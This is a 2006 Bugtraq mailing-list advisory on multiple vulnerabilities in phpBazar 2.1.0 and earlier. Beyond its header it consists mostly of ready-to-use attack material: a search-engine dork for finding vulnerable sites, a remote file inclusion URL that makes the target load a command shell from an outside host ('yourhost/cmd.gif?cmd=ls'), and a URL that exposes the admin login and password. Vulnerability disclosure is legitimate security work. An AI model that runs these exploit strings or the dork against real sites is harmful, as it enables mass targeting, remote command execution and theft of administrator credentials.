[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
phpBazar <= 2.1.0 Multiple vulnerabilites
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: phpBazar <= 2.1.0 Multiple vulnerabilites
- From: i6d@xxxxxxxxxxx
- Date: 20 May 2006 12:06:35 -0000
Title: phpBazar <= 2.1.0 Multiple vulnerabilites
URL: http://www.smartisoft.com/
Dork: inurl:classified.php phpbazar
Exploits:
-remote file inclusion:
/classified_right.php?language_dir=http://yourhost/cmd.gif?cmd=ls
-access to admin login and password: /admin/admin.php?action=edit_member&value=1
# Found By PHP Emperor